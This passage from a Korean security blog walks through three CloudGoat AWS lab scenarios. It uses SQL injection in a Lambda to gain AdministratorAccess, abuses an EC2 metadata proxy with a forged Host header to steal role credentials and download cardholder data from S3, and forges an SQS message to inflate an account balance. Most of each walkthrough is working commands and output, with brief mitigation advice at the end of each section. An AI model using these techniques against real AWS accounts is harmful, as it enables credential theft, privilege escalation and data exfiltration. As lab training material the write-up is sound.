        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/739275444311/cgid2bx1fsjdcs-policy_applier_lambda1-80679360-e210-4a9c-a160-1b22dfdaf277?versionId=GhMhCfHgv3dlzPmVNK_Fi.JklcCM7.d8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJIMEYCIQD9JwRHHBfqLsF7WOfGbpiLhTLzHsPtMIIA%2F8fGPL048QIhAPR%2Ft1GJNJNrq8GAKVzZQwjg7ECS043ECOABGPjiT0PHKpICCPX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgxckJ1oMMvZW2Tp81Aq5gF2i5rKd4OuzuVcrcAm4IThkIh0EHpwGQiRvn1J7OpQyyUTZgxmo%2BgA0dTQcJA%2BaJAzVmuxiJwaTcwoHekXT%2FPVf9nDJ%2BE7aSQUovIXVoOWWAu3HI0yGtWH6sERb7rWbquGH63ltf%2Fi%2BJ3C6Krfe%2FOEzDwRqBhuwjIIIyJsW7cVza8KXAccj6H10PBvFZhQdTnqN0tgG0xkl3DDtmkm1%2FgapLgNsAxApvdUY0faR4R0%2BXZKi%2BQ0meZ2ky5Kn7SVN9iaOuxyiBDY3Np88ZwjC0Ni7u2CpZHuS6uiLi0E0VyMVJxJJ1rY2DDks%2FC%2FBjqOAfDa5qe%2FENuInbaTDGtTffXKK4nkem1GH9233Hrd%2FijG6xXDpmTrPBcz46qPn%2FJrZ9DBFZppFpRnI8%2BjY9zyDb2EQwaqXm4sZRvfSz4yw6hS8%2F99yFXkDC8PkcuKIN6HnlomHlnJDY7THjzhnxLF5AR3WnsgEfLDnSADTIkpAwqYwJZm88rtY52L0NjYEjM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250414T052331Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY32XA3KBKX%2F20250414%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=32989a15d4ffe57a59b46404cc27ffa545ce02ff7bc6327a8f8f0685ec7ca47f"
    },
    "Tags": {
        "Name": "cg-cgid2bx1fsjdcs",
        "Scenario": "vulnerable-lambda",
        "Stack": "CloudGoat"
    }
}

 

 

 

3. Lambda 코드 분석

main.py 소스코드를 분석하여 이 소스의 취약점을 공략합니다.

# main.py

import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')


# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."


if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

 

 

4. Exploit 이후 Secret 확인

payload.json에 AdministratorAccess 뒤를 주석 처리하여 검증을 무력화 하고

이후 Lambda 함수를 실행합니다.

### Bilbo 사용자에게 권한 추가 ###
# payload.json
{"policy_names": ["AdministratorAccess' -- "], "user_name": "cg-bilbo-cgid2bx1fsjdcs"}

### Lambda 함수 실행 ###
aws lambda invoke \
    --function-name cgid2bx1fsjdcs-policy_applier_lambda1 \
    --cli-binary-format raw-in-base64-out \
    --payload file://payload.json \
    response.json \
	--profile lambda-invoker

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
    --user-name cg-bilbo-cgid2bx1fsjdcs \
    --profile vulnerable_lambda
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonSNSReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSNSReadOnlyAccess"
        },
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "AmazonGlacierReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonGlacierReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonRDSReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonRDSReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonS3ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonRoute53DomainsReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonRoute53DomainsReadOnlyAccess"
        },
        {
            "PolicyName": "AWSLambda_ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_ReadOnlyAccess"
        }
    ]
}


###  Secret 리스트 조회 ###
aws secretsmanager list-secrets \
	--profile vulnerable_lambda
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid2bx1fsjdcs-final_flag-paxlge",
            "Name": "cgid2bx1fsjdcs-final_flag",
            "LastChangedDate": "2025-04-12T10:50:01.736000+09:00",
            "LastAccessedDate": "2025-04-12T09:00:00+09:00",
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "cg-cgid2bx1fsjdcs"
                },
                {
                    "Key": "Scenario",
                    "Value": "vulnerable-lambda"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250412015001367600000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-04-12T10:49:59.853000+09:00"
        }
    ]
}

### Secret 확인 ###
aws secretsmanager get-secret-value \
    --secret-id cgid2bx1fsjdcs-final_flag \
	--profile vulnerable_lambda
{
    "ARN": "arn:aws:secretsmanager:us-east-1:739275444311:secret:cgid2bx1fsjdcs-final_flag-paxlge",
    "Name": "cgid2bx1fsjdcs-final_flag",
    "VersionId": "terraform-20250412015001367600000002",
    "SecretString": "cg-secret-846237-284529",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-04-12T10:50:01.732000+09:00"
}

 

 

  보안 개선 방안

1. Lambda 함수에 권한 최소화

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/cloud_breach_s3/README.md

 

cloudgoat/cloudgoat/scenarios/aws/cloud_breach_s3/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

이 문제는 취약한 EC2 metadata 설정을 이용하여 S3 버킷 내의 파일을 탈취하는 문제입니다.



 

 문제 풀이

 

0. 환경 설정

# ---------- 0. 환경 구성 완료 및 처음 주어진 정보 ----------
cloudgoat create cloud_breach_s3
cat start.txt
# 출력결과
cloudgoat_output_aws_account_id = 739275444311
cloudgoat_output_target_ec2_server_ip = 3.91.238.169

 

 

1. EC2 meta-data 확인

잘못 설정된 EC2 meta-data를 통해 Access Key를 확인합니다.

# ---------- 1. EC2 metadata 확인 ----------

### 전달 받은 EC2 CURL 요청 ###
curl -X GET http://3.91.238.169
# 출력결과
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

### Host 헤더를 수정하여 재요청 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data
# 출력결과
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

### meta-data/iam/security-credentials/ 경로 확인 ###
http://3.91.238.169/latest/meta-data/iam/security-credentials/
# 출력결과
cg-banking-WAF-Role-cgid0p8gsml3ep

### 역할에 대한 Access Key 확인 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgid0p8gsml3ep

 

 

 

2. 역할 전환 및 데이터 다운로드

역할에 대한 Access Key를 확인했으면 AWS Cli를 사용하기 위해 새로운 프로파일을 생성합니다.

그리고 새로운 프로파일을 이용하여 S3 데이터를 조회하고 다운로드 하면 됩니다.

# ---------- 2. 역할 전환 및 버킷 조회 그리고 데이터 다운로드 ----------

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile cloud_breach_s3 aws_access_key_id <aws_access_key_id>
aws configure set --profile cloud_breach_s3 aws_secret_access_key <aws_secret_access_key>
aws configure set --profile cloud_breach_s3 aws_session_token  <aws_session_token>

### 역할 전환 후 S3 버킷 조회###
aws s3 ls --profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:41 cg-cardholder-data-bucket-cgid0p8gsml3ep

### S3 버킷 내부 조회 ###
aws s3 ls s3://cg-cardholder-data-bucket-cgid0p8gsml3ep \
 --recursive \
 --profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:46      58872 cardholder_data_primary.csv
2025-04-10 05:24:46      59384 cardholder_data_secondary.csv
2025-04-10 05:24:46      92165 cardholders_corporate.csv
2025-04-10 05:24:47     249500 goat.png

### 다운로드 받을 폴더 생성 ###
mkdir s3_download

### 버킷에 있는 데이터 한번에 다운로드 ###
aws s3 cp s3://cg-cardholder-data-bucket-cgid0p8gsml3ep ./s3_download --recursive --profile cloud_breach_s3
# 출력결과
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_primary.csv to s3_download/cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_secondary.csv to s3_download/cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholders_corporate.csv to s3_download/cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/goat.png to s3_download/goat.png

 

아래 사진은 S3 버킷 내에 있는 정보를 다운로드 한 결과입니다.

S3 bucket 오브젝트 다운로드 결과

 

 

Docker를 통해 cloudgoat를 실행했는데 사진 파일 확인을 위해 사진을 로컬로 옮겨야 하는 경우

아래와 같이 도커에서 로컬로 파일을 옮길 수 있습니다.

### 컨테이너 조회 ###
docker ps -a

### Docker에 있는 파일 로컬로 옮기기 ###
docker cp <컨테이너 네임>:<Docker내 파일 경로>/goat.png <Local 경로>

 

goat.png

 

 

  보안 개선 방안

 

1. EC2 메타데이터 - IMDSv2만 허용하도록 설정

    - http-token required -> IMDSv2 전용 사용

    - hop-limit -> SSRF 방지에 유용 (EC2 외부에서 메타데이터에 접근 불가)

 

2. EC2 메타데이터 - 서버측 요청 위조 SSRF(server side request forgery) 방어

    - 공격자가 SSRF 기법으로 http://169.254.169.254/latest/meta-data/ 에 접근하여 임시 자격 증명 탈취함

    - 서버 코드에서 필터링

    - 참고 - https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/sqs_flag_shop/README.md

 

cloudgoat/cloudgoat/scenarios/aws/sqs_flag_shop/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

SQS_FLAG_Shop문제는 SQS메시지를 조작하여 DB에 있는 MyAsset의 값을 100,000,000 이상으로 만들어 FLAG를 구매할 수 있도록 하는 문제입니다.

 

공격 설명 페이지

 

생성된 웹페이지 - (http://<EC2 IP>:5000)

공격 대상 웹페이지

 

 

 문제 풀이

0. 환경 설정

시나리오 환경 구성이 완료되면 1. sqs-user, 2.웹페이지 주소 이렇게 총 2가지 정보가 주어집니다.

#-------------------- 0. 환경 설정 --------------------
cat start.txt
cloudgoat_output_sqsuser_access_key_id = <access_key>
cloudgoat_output_sqsuser_secret_key = <secret_key>
web_site_ip = http://<ec2 ip address>:5000

 

 

1. 현재 소유 권한 확인

현재 가지고 있는 권한을 확인해 보면 sqs-user는 모든 리소스를 대상으로 "iam:Get*", "iam:List*" 2개의 권한과 

cg-sqs-send-message 역할을 대상으로 "sts:AssumeRole" 을 할 수 있는 권한을 소유하고 있습니다.

 

cg-sqs-send-message로 역할 전환을 했을 경우 "cg-sqs" 정책을 소유하게 되는데 해당 정책을 확인해 보면

sqs 서비스 대상으로 "sqs:GetQueueUrl", "sqs:SendMessage" 2개의 권한을 가지게 됩니다.

 

#-------------------- 1. 현재 소유 권한 분석 --------------------

###  계정 리스트 확인 ###
aws iam list-users \
 --profile sqs_flag_shop | grep cgidkdmwdu0vlo
"UserName": "cg-sqs-user-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo",
"UserName": "cg-web-sqs-manager-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-web-sqs-manager-cgidkdmwdu0vlo",

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### <user> 에게 적용된 User 관리 정책 ###
aws iam list-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop \
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}

### 유저 정책 확인 ###
aws iam get-user-policy \
 --policy-name cg-sqs-scenario-assumed-role \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "UserName": "cg-sqs-user-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs-scenario-assumed-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo"
            }
        ]
    }
}

### 역할 확인 ###
aws iam get-role \
 --role-name cg-sqs-send-message-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
        "RoleId": "AROA2YICACBL4GB66HAT2",
        "Arn": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo",
        "CreateDate": "2025-04-09T01:29:10+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Scenario",
                "Value": "sqs_flag_shop"
            }
        ],
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-09T02:39:16+00:00",
            "Region": "us-east-1"
        }
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### 역할 정책 리스트 ###
aws iam list-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "PolicyNames": [
        "cg-sqs"
    ]
}

### 역할 정책 확인 ###
aws iam get-role-policy \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--policy-name cg-sqs \
--profile sqs_flag_shop
{
    "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:739275444311:cash_charging_queue"
            }
        ]
    }
}

 

 

 

2. 역할 전환

주어진 권한을 이용하여 역할전환을 합니다.

#-------------------- 2. 역할 전환 --------------------
### 역할 전환 ###
aws sts assume-role \
 --role-arn arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo \
 --role-session-name sqs-user \
 --profile sqs_flag_shop

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile sqs_role aws_access_key_id <aws_access_key_id>
aws configure set --profile sqs_role aws_secret_access_key <aws_secret_access_key>
aws configure set --profile sqs_role aws_session_token <aws_session_token>

 

 

3. SQS 메시지 경로 확인 및 전송

역할 전환 이후 주어진 권한을 이용하여 queue url을 확인하고

이후 sqs queue url을 이용하여 조작한 message body를 전송하면 됩니다.

#-------------------- 3. SQS 메시지 경로 확인 및 SQS 메시지 전송 --------------------
### SQS GetQueueUrl 확인 ###
aws sqs get-queue-url \
--queue-name cash_charging_queue \
--profile sqs_role
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue"
}

### SQS 메시지 전송 ###
aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue \
--message-body '{"charge_amount": 100000000}' \
--profile sqs_role
{
    "MD5OfMessageBody": "a539acfcd12c57a477387a5dbc7fa5a8",
    "MessageId": "fcfda745-8e1d-4eaf-9e63-08e130a608fb"
}

 

 

SQS Send message를 보내면 아래와 같은 화면이 확인 가능합니다.

sqs queue message 전송 화면

 

조작한 SQS Send message를 보낸 후 웹페이지를 새로고침(F5) 해보면 My Asset이 늘어나있는게 보입니다.

이 자산을 이용하여 Flag를 주문(Order)하면 됩니다.

 

Flag 구매 이후 영수증(Receipt) 정보 확인에서 Flag 값을 확인하면 이 문제는 끝납니다.

Flag 획득 성공

 

 

  보안 개선 방안

 

1. 웹페이지 소스코드 주석 제거

 - 해당 문제는 결정적으로 웹페이지에 주석처리된 소스 코드가 문제였기 때문에 공격자에 의해 악용될 수 있습니다.

 - 따라서 웹페이지에 주석 처리된 소스코드는 전부 제거해야 함

 

2. sqs-user 인증 강화

 - sqs-user 계정이 공격자에 의해 탈취될 경우 동일하게 악용될 가능성이 있기 때문에 권한은 최소화 하고 MFA를 적용하여 탈취를 막아야 함

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형

+ Recent posts